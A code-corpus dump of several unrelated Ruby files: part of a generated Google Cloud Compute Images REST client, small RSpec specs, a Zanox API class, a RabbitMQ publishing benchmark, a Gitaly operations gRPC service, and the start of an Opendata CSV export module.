# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, query_string_params = transcode_insert request
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Retrieves the list of custom images available to the specified project. Custom images are images you create that belong to your project. This method does not get any images that belong to other projects, including publicly-available images, like Debian 8. If you want to get a list of publicly-available images, use this method to make a request to the respective image project, such as debian-cloud or windows-cloud.
#
# @overload list(request, options = nil)
# Pass arguments to `list` via a request object, either of type
# {::Google::Cloud::Compute::V1::ListImagesRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::ListImagesRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload list(filter: nil, max_results: nil, order_by: nil, page_token: nil, project: nil, return_partial_success: nil)
# Pass arguments to `list` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param filter [::String]
# A filter expression that filters resources listed in the response. The expression must specify the field name, a comparison operator, and the value that you want to use for filtering. The value must be a string, a number, or a boolean. The comparison operator must be either `=`, `!=`, `>`, or `<`.
#
# For example, if you are filtering Compute Engine instances, you can exclude instances named `example-instance` by specifying `name != example-instance`.
#
# You can also filter nested fields. For example, you could specify `scheduling.automaticRestart = false` to include instances only if they are not scheduled for automatic restarts. You can use filtering on nested fields to filter based on resource labels.
#
# To filter on multiple expressions, provide each separate expression within parentheses. For example: ``` (scheduling.automaticRestart = true) (cpuPlatform = "Intel Skylake") ``` By default, each expression is an `AND` expression. However, you can include `AND` and `OR` expressions explicitly. For example: ``` (cpuPlatform = "Intel Skylake") OR (cpuPlatform = "Intel Broadwell") AND (scheduling.automaticRestart = true) ```
# @param max_results [::Integer]
# The maximum number of results per page that should be returned. If the number of available results is larger than `maxResults`, Compute Engine returns a `nextPageToken` that can be used to get the next page of results in subsequent list requests. Acceptable values are `0` to `500`, inclusive. (Default: `500`)
# @param order_by [::String]
# Sorts list results by a certain order. By default, results are returned in alphanumerical order based on the resource name.
#
# You can also sort results in descending order based on the creation timestamp using `orderBy="creationTimestamp desc"`. This sorts results based on the `creationTimestamp` field in reverse chronological order (newest result first). Use this to sort resources like operations so that the newest operation is returned first.
#
# Currently, only sorting by `name` or `creationTimestamp desc` is supported.
# @param page_token [::String]
# Specifies a page token to use. Set `pageToken` to the `nextPageToken` returned by a previous list request to get the next page of results.
# @param project [::String]
# Project ID for this request.
# @param return_partial_success [::Boolean]
# Opt-in for partial success behavior which provides partial results in case of failure. The default value is false and the logic is the same as today.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::ImageList]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::ImageList]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def list request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::ListImagesRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, _body, query_string_params = transcode_list request
response = @client_stub.make_get_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::ImageList.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Patches the specified image with the data included in the request. Only the following fields can be modified: family, description, deprecation status.
#
# @overload patch(request, options = nil)
# Pass arguments to `patch` via a request object, either of type
# {::Google::Cloud::Compute::V1::PatchImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::PatchImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload patch(image: nil, image_resource: nil, project: nil, request_id: nil)
# Pass arguments to `patch` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param image [::String]
# Name of the image resource to patch.
# @param image_resource [::Google::Cloud::Compute::V1::Image, ::Hash]
# The body resource for this request
# @param project [::String]
# Project ID for this request.
# @param request_id [::String]
# An optional request ID to identify requests. Specify a unique request ID so that if you must retry your request, the server will know to ignore the request if it has already been completed.
#
# For example, consider a situation where you make an initial request and the request times out. If you make the request again with the same request ID, the server can check if original operation with the same request ID was received, and if so, will ignore the second request. This prevents clients from accidentally creating duplicate commitments.
#
# The request ID must be a valid UUID with the exception that zero UUID is not supported (00000000-0000-0000-0000-000000000000).
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def patch request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::PatchImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, query_string_params = transcode_patch request
response = @client_stub.make_patch_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Sets the access control policy on the specified resource. Replaces any existing policy.
#
# @overload set_iam_policy(request, options = nil)
# Pass arguments to `set_iam_policy` via a request object, either of type
# {::Google::Cloud::Compute::V1::SetIamPolicyImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::SetIamPolicyImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload set_iam_policy(global_set_policy_request_resource: nil, project: nil, resource: nil)
# Pass arguments to `set_iam_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param global_set_policy_request_resource [::Google::Cloud::Compute::V1::GlobalSetPolicyRequest, ::Hash]
# The body resource for this request
# @param project [::String]
# Project ID for this request.
# @param resource [::String]
# Name or id of the resource for this request.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Policy]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Policy]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def set_iam_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::SetIamPolicyImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, _query_string_params = transcode_set_iam_policy request
response = @client_stub.make_post_request(
uri: uri,
body: body,
options: options
)
result = ::Google::Cloud::Compute::V1::Policy.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Sets the labels on an image. To learn more about labels, read the Labeling Resources documentation.
#
# @overload set_labels(request, options = nil)
# Pass arguments to `set_labels` via a request object, either of type
# {::Google::Cloud::Compute::V1::SetLabelsImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::SetLabelsImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload set_labels(global_set_labels_request_resource: nil, project: nil, resource: nil)
# Pass arguments to `set_labels` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param global_set_labels_request_resource [::Google::Cloud::Compute::V1::GlobalSetLabelsRequest, ::Hash]
# The body resource for this request
# @param project [::String]
# Project ID for this request.
# @param resource [::String]
# Name or id of the resource for this request.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def set_labels request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::SetLabelsImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, _query_string_params = transcode_set_labels request
response = @client_stub.make_post_request(
uri: uri,
body: body,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Returns permissions that a caller has on the specified resource.
#
# @overload test_iam_permissions(request, options = nil)
# Pass arguments to `test_iam_permissions` via a request object, either of type
# {::Google::Cloud::Compute::V1::TestIamPermissionsImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::TestIamPermissionsImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload test_iam_permissions(project: nil, resource: nil, test_permissions_request_resource: nil)
# Pass arguments to `test_iam_permissions` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param project [::String]
# Project ID for this request.
# @param resource [::String]
# Name or id of the resource for this request.
# @param test_permissions_request_resource [::Google::Cloud::Compute::V1::TestPermissionsRequest, ::Hash]
# The body resource for this request
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::TestPermissionsResponse]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::TestPermissionsResponse]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def test_iam_permissions request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::TestIamPermissionsImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, _query_string_params = transcode_test_iam_permissions request
response = @client_stub.make_post_request(
uri: uri,
body: body,
options: options
)
result = ::Google::Cloud::Compute::V1::TestPermissionsResponse.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Configuration class for the Images REST API.
#
# This class represents the configuration for Images REST,
# providing control over credentials, timeouts, retry behavior, logging.
#
# Configuration can be applied globally to all clients, or to a single client
# on construction.
#
# # Examples
#
# To modify the global config, setting the timeout for all calls to 10 seconds:
#
# ::Google::Cloud::Compute::V1::Images::Client.configure do |config|
# config.timeout = 10.0
# end
#
# To apply the above configuration only to a new client:
#
# client = ::Google::Cloud::Compute::V1::Images::Client.new do |config|
# config.timeout = 10.0
# end
#
# @!attribute [rw] endpoint
# The hostname or hostname:port of the service endpoint.
# Defaults to `"compute.googleapis.com"`.
# @return [::String]
# @!attribute [rw] credentials
# Credentials to send with calls. You may provide any of the following types:
# * (`String`) The path to a service account key file in JSON format
# * (`Hash`) A service account key as a Hash
# * (`Google::Auth::Credentials`) A googleauth credentials object
# (see the [googleauth docs](https://googleapis.dev/ruby/googleauth/latest/index.html))
# * (`Signet::OAuth2::Client`) A signet oauth2 client object
# (see the [signet docs](https://googleapis.dev/ruby/signet/latest/Signet/OAuth2/Client.html))
# * (`nil`) indicating no credentials
# @return [::Object]
# @!attribute [rw] scope
# The OAuth scopes
# @return [::Array<::String>]
# @!attribute [rw] lib_name
# The library name as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] lib_version
# The library version as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] timeout
# The call timeout in seconds.
# @return [::Numeric]
#
class Configuration
extend ::Gapic::Config
config_attr :endpoint, "compute.googleapis.com", ::String
config_attr :credentials, nil do |value|
allowed = [::String, ::Hash, ::Proc, ::Symbol, ::Google::Auth::Credentials, ::Signet::OAuth2::Client, nil]
allowed.any? { |klass| klass === value }
end
config_attr :scope, nil, ::String, ::Array, nil
config_attr :lib_name, nil, ::String, nil
config_attr :lib_version, nil, ::String, nil
config_attr :timeout, nil, ::Numeric, nil
# @private
def initialize parent_config = nil
@parent_config = parent_config unless parent_config.nil?
yield self if block_given?
end
end
end
end
end
end
end
end
end
| 56.694 | 444 | 0.569196 |
acfe5af7ee59a396992872eb4ec92b2f8157f121 | 235 | require './spec/rails_helper.rb'
require './spec/spec_helper.rb'
require './app/models/application_record.rb'
RSpec.describe 'self_abstract' do
it 'has to be a self ' do
expect(self.abstract_class?).to eq(true)
end
end | 26.111111 | 48 | 0.710638 |
bf893a8bdd6dd13111760aa4a04e9b7385a07c8b | 323 | module Zanox
class ZanoxJson < ZanoxXml
def initialize(version = false)
@version = version
@rest_action = 'GET'
@url = 'http://api.zanox.com/json'
@content_type = 'application/json'
@raw_data_disabled = true
end
# def serialize#TODO
#
# end
end
end | 17 | 40 | 0.569659 |
87bc2d6fc53ee3ae5326ca7214a4e9e639cea555 | 2,856 | # encoding: utf-8
require_relative '../../spec_helper'
module Epuber
module DSL
describe Object do
context 'simple attributes' do
class TestClass < Object
attribute :optional_string
attribute :optional_number,
types: [Fixnum]
end
before do
@example = TestClass.new
end
it 'initial value is nil' do
expect(@example.optional_string).to be nil
expect(@example.optional_number).to be nil
end
it 'stores value' do
@example.optional_string = 'aaa'
expect(@example.optional_string).to eq 'aaa'
@example.optional_number = 1
expect(@example.optional_number).to eq 1
end
it 'optional value should validate without problem' do
expect do
@example.validate
end.to_not raise_error
end
end
context 'required attributes' do
class TestRequiredClass < Object
attribute :required_string,
required: true
end
before do
@example = TestRequiredClass.new
end
it 'should not validate without specified attribute' do
expect do
@example.validate
end.to raise_error Object::ValidationError
end
it 'should validate with specified attribute' do
@example.required_string = 'abc'
expect do
@example.validate
end.to_not raise_error
end
end
context 'auto conversion' do
class TestAutoClass < Object
attribute :simple,
types: [Date],
auto_convert: { String => Date }
attribute :lambda,
types: [Fixnum],
auto_convert: { String => ->(str) { str.to_i } }
attribute :multi,
auto_convert: { [Fixnum, Regexp] => ->(str) { str.to_s } }
end
before do
@sut = TestAutoClass.new
end
context '#simple' do
it 'converse string into date' do
@sut.simple = '11. 10. 2014'
expect(@sut.simple).to eq Date.new(2014, 10, 11)
end
end
context '#lambda' do
it 'converse string into number' do
@sut.lambda = '1'
expect(@sut.lambda).to eq 1
end
end
context '#multi' do
it 'converse number into string' do
@sut.multi = 1
expect(@sut.multi).to eq '1'
end
it 'converse regexp into string' do
@sut.multi = /^some text$/
expect(@sut.multi).to be_kind_of String
expect(@sut.multi).to include 'some text'
end
end
end
end
end
end
| 24.62069 | 78 | 0.522759 |
913e28289f9f957492adcba29542b17945b11871 | 659 | #!/usr/bin/env ruby
# encoding: utf-8
require "rubygems"
require "bunni"
require "benchmark"
conn = Bunni.new
conn.start
puts
puts "-" * 80
puts "Benchmarking on #{RUBY_DESCRIPTION}"
n = 50_000
ch = conn.create_channel
x = ch.default_exchange
s = "z" * (1024 * 128)
# warm up the JIT, etc
puts "Doing a warmup run..."
16000.times { x.publish(s, :routing_key => "anything") }
# give OS, the server and so on some time to catch
# up
sleep 2.0
t = Benchmark.realtime do
n.times { x.publish(s, :routing_key => "anything") }
end
r = (n.to_f/t.to_f)
puts "Publishing rate with #{s.bytesize} bytes/msg: #{(r / 1000).round(2)} KGHz"
puts
puts "-" * 80
| 18.305556 | 80 | 0.664643 |
abcfc85f70ee3647e441298bd9e68a478caf9a74 | 12,733 | module GitalyServer
class OperationsService < Gitaly::OperationService::Service
include Utils
def user_create_tag(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
gitaly_user = request.user
raise GRPC::InvalidArgument.new('empty user') unless gitaly_user
user = Gitlab::Git::User.from_gitaly(gitaly_user)
tag_name = request.tag_name
raise GRPC::InvalidArgument.new('empty tag name') unless tag_name.present?
target_revision = request.target_revision
raise GRPC::InvalidArgument.new('empty target revision') unless target_revision.present?
created_tag = repo.add_tag(tag_name, user: user, target: target_revision, message: request.message.presence)
return Gitaly::UserCreateTagResponse.new unless created_tag
rugged_commit = created_tag.dereferenced_target.rugged_commit
commit = gitaly_commit_from_rugged(rugged_commit)
tag = Gitaly::Tag.new(
name: tag_name.b,
id: created_tag.target,
target_commit: commit,
message: created_tag.message.to_s.b
)
Gitaly::UserCreateTagResponse.new(tag: tag)
rescue Gitlab::Git::Repository::InvalidRef => e
raise GRPC::FailedPrecondition.new(e.message)
rescue Gitlab::Git::Repository::TagExistsError
return Gitaly::UserCreateTagResponse.new(exists: true)
rescue Gitlab::Git::HooksService::PreReceiveError => e
return Gitaly::UserCreateTagResponse.new(pre_receive_error: e.message)
end
end
end
def user_delete_tag(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
gitaly_user = request.user
raise GRPC::InvalidArgument.new('empty user') unless gitaly_user
user = Gitlab::Git::User.from_gitaly(gitaly_user)
tag_name = request.tag_name
raise GRPC::InvalidArgument.new('empty tag name') if tag_name.blank?
repo.rm_tag(tag_name, user: user)
Gitaly::UserDeleteTagResponse.new
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserDeleteTagResponse.new(pre_receive_error: e.message)
end
end
end
def user_create_branch(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
target = request.start_point
raise GRPC::InvalidArgument.new('empty start_point') if target.empty?
gitaly_user = request.user
raise GRPC::InvalidArgument.new('empty user') unless gitaly_user
branch_name = request.branch_name
user = Gitlab::Git::User.from_gitaly(gitaly_user)
created_branch = repo.add_branch(branch_name, user: user, target: target)
return Gitaly::UserCreateBranchResponse.new unless created_branch
rugged_commit = created_branch.dereferenced_target.rugged_commit
commit = gitaly_commit_from_rugged(rugged_commit)
branch = Gitaly::Branch.new(name: branch_name, target_commit: commit)
Gitaly::UserCreateBranchResponse.new(branch: branch)
rescue Gitlab::Git::Repository::InvalidRef, Gitlab::Git::CommitError => ex
raise GRPC::FailedPrecondition.new(ex.message)
rescue Gitlab::Git::HooksService::PreReceiveError => ex
return Gitaly::UserCreateBranchResponse.new(pre_receive_error: ex.message)
end
end
end
def user_delete_branch(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
repo.rm_branch(request.branch_name, user: user)
Gitaly::UserDeleteBranchResponse.new
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserDeleteBranchResponse.new(pre_receive_error: e.message)
end
end
end
def user_merge_branch(session, call)
Enumerator.new do |y|
bridge_exceptions do
first_request = session.next
repository = Gitlab::Git::Repository.from_gitaly(first_request.repository, call)
user = Gitlab::Git::User.from_gitaly(first_request.user)
source_sha = first_request.commit_id.dup
target_branch = first_request.branch.dup
message = first_request.message.dup
begin
result = repository.merge(user, source_sha, target_branch, message) do |commit_id|
y << Gitaly::UserMergeBranchResponse.new(commit_id: commit_id)
second_request = session.next
unless second_request.apply
raise GRPC::FailedPrecondition.new('merge aborted by client')
end
end
y << Gitaly::UserMergeBranchResponse.new(branch_update: branch_update_result(result))
rescue Gitlab::Git::HooksService::PreReceiveError => e
y << Gitaly::UserMergeBranchResponse.new(pre_receive_error: e.message)
end
end
end
end
def user_ff_branch(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
result = repo.ff_merge(user, request.commit_id, request.branch)
branch_update = branch_update_result(result)
Gitaly::UserFFBranchResponse.new(branch_update: branch_update)
rescue Gitlab::Git::CommitError => e
raise GRPC::FailedPrecondition.new(e.to_s)
rescue ArgumentError => e
raise GRPC::InvalidArgument.new(e.to_s)
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserFFBranchResponse.new(pre_receive_error: e.message)
end
end
end
def user_cherry_pick(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
commit = Gitlab::Git::Commit.new(repo, request.commit)
start_repository = Gitlab::Git::GitalyRemoteRepository.new(request.start_repository || request.repository, call)
result = repo.cherry_pick(
user: user,
commit: commit,
branch_name: request.branch_name,
message: request.message.dup,
start_branch_name: request.start_branch_name.presence,
start_repository: start_repository
)
branch_update = branch_update_result(result)
Gitaly::UserCherryPickResponse.new(branch_update: branch_update)
rescue Gitlab::Git::Repository::CreateTreeError => e
Gitaly::UserCherryPickResponse.new(create_tree_error: e.message)
rescue Gitlab::Git::CommitError => e
Gitaly::UserCherryPickResponse.new(commit_error: e.message)
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserCherryPickResponse.new(pre_receive_error: e.message)
end
end
end
def user_revert(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
commit = Gitlab::Git::Commit.new(repo, request.commit)
start_repository = Gitlab::Git::GitalyRemoteRepository.new(request.start_repository || request.repository, call)
result = repo.revert(
user: user,
commit: commit,
branch_name: request.branch_name,
message: request.message.dup,
start_branch_name: request.start_branch_name.presence,
start_repository: start_repository
)
branch_update = branch_update_result(result)
Gitaly::UserRevertResponse.new(branch_update: branch_update)
rescue Gitlab::Git::Repository::CreateTreeError => e
Gitaly::UserRevertResponse.new(create_tree_error: e.message)
rescue Gitlab::Git::CommitError => e
Gitaly::UserRevertResponse.new(commit_error: e.message)
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserRevertResponse.new(pre_receive_error: e.message)
end
end
end
def user_rebase(request, call)
bridge_exceptions do
begin
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
remote_repository = Gitlab::Git::GitalyRemoteRepository.new(request.remote_repository, call)
rebase_sha = repo.rebase(user, request.rebase_id,
branch: request.branch,
branch_sha: request.branch_sha,
remote_repository: remote_repository,
remote_branch: request.remote_branch)
Gitaly::UserRebaseResponse.new(rebase_sha: rebase_sha)
rescue Gitlab::Git::HooksService::PreReceiveError => e
return Gitaly::UserRebaseResponse.new(pre_receive_error: e.message)
rescue Gitlab::Git::Repository::GitError => e
return Gitaly::UserRebaseResponse.new(git_error: e.message)
end
end
end
def user_commit_files(call)
bridge_exceptions do
begin
actions = []
request_enum = call.each_remote_read
header = request_enum.next.header
loop do
action = request_enum.next.action
if action.header
actions << commit_files_action_from_gitaly_request(action.header)
else
actions.last[:content] << action.content
end
end
repo = Gitlab::Git::Repository.from_gitaly(header.repository, call)
user = Gitlab::Git::User.from_gitaly(header.user)
opts = commit_files_opts(call, header, actions)
branch_update = branch_update_result(repo.multi_action(user, opts))
Gitaly::UserCommitFilesResponse.new(branch_update: branch_update)
rescue Gitlab::Git::Index::IndexError => e
Gitaly::UserCommitFilesResponse.new(index_error: e.message)
rescue Gitlab::Git::HooksService::PreReceiveError => e
Gitaly::UserCommitFilesResponse.new(pre_receive_error: e.message)
end
end
end
def user_squash(request, call)
bridge_exceptions do
repo = Gitlab::Git::Repository.from_gitaly(request.repository, call)
user = Gitlab::Git::User.from_gitaly(request.user)
author = Gitlab::Git::User.from_gitaly(request.author)
begin
squash_sha = repo.squash(user, request.squash_id,
branch: request.branch,
start_sha: request.start_sha,
end_sha: request.end_sha,
author: author,
message: request.commit_message)
Gitaly::UserSquashResponse.new(squash_sha: squash_sha)
rescue Gitlab::Git::Repository::GitError => e
Gitaly::UserSquashResponse.new(git_error: e.message)
end
end
end
private
def commit_files_opts(call, header, actions)
opts = {
branch_name: header.branch_name,
message: header.commit_message.b,
actions: actions
}
if header.start_repository
opts[:start_repository] = Gitlab::Git::GitalyRemoteRepository.new(header.start_repository, call)
end
optional_fields = {
start_branch_name: 'start_branch_name',
author_name: 'commit_author_name',
author_email: 'commit_author_email'
}.transform_values { |v| header[v].presence }
opts.merge(optional_fields)
end
def commit_files_action_from_gitaly_request(header)
{
action: header.action.downcase,
file_path: header.file_path,
previous_path: header.previous_path,
encoding: header.base64_content ? 'base64' : '',
content: ''
}
end
def branch_update_result(gitlab_update_result)
return if gitlab_update_result.nil?
Gitaly::OperationBranchUpdate.new(
commit_id: gitlab_update_result.newrev,
repo_created: gitlab_update_result.repo_created,
branch_created: gitlab_update_result.branch_created
)
end
end
end
| 38.702128 | 122 | 0.649101 |
334c67f4ef13a64e8f58c0d6646bfab64aa7b71a | 4,100 | module Opendata::Addon::ExportPublicEntityFormat
extend SS::Addon
extend ActiveSupport::Concern
module ClassMethods
def public_entity_csv(node)
csv = []
public_entity_enum_csv(node).each do |data|
csv << data
end
csv.join
end
def public_entity_enum_csv(node)
criteria = self.node(node)
dataset_ids = criteria.pluck(:id)
def encode_sjis_csv(row)
row.to_csv.encode("SJIS", invalid: :replace, undef: :replace)
end
def name_hier(category)
names = []
names << category.name
while category.parent.present?
category = category.parent
names << category.name
end
names.reverse.join('/')
end
node = node.becomes_with_route
st_categories = node.st_categories.presence || node.default_st_categories
st_categories = st_categories.map { |cate| cate.children.and_public.sort(order: 1).to_a }.flatten
st_estat_categories = node.st_estat_categories.presence || node.default_st_estat_categories
st_estat_categories = st_estat_categories.map { |cate| cate.children.and_public.sort(order: 1).to_a }.flatten
st_categories_1 = {}
st_categories_2 = {}
st_categories.each do |cate|
st_categories_1[cate.filename] = cate.name
cate.children.and_public.sort(order: 1).each do |child|
st_categories_2[child.filename] = child.name
end
end
st_estat_categories_1 = {}
st_estat_categories_2 = {}
st_estat_categories.each do |cate|
st_estat_categories_1[cate.filename] = cate.name
cate.children.and_public.sort(order: 1).each do |child|
st_estat_categories_2[child.filename] = child.name
end
end
Enumerator.new do |data|
data << encode_sjis_csv(I18n.t("opendata.public_entity.headers"))
dataset_ids.each do |dataset_id|
